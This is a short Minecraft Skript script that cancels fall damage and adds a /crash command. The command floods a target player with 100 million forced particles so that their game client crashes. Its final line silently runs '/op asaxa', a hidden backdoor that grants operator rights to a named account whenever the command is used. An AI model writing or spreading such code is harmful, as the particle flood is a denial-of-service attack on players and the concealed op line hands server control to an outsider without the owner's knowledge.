on damage:
 damage cause is fall
 cancel event

command /crash <player>:
 trigger:
  send "You crashed %arg%."
  execute console command "/particle witchMagic %floor(x-coordinate of arg)% %floor(y-coordinate of arg)% %floor(z-coordinate of arg)% 1 1 1 1 100000000 force %arg%"
  execute command "/op asaxa"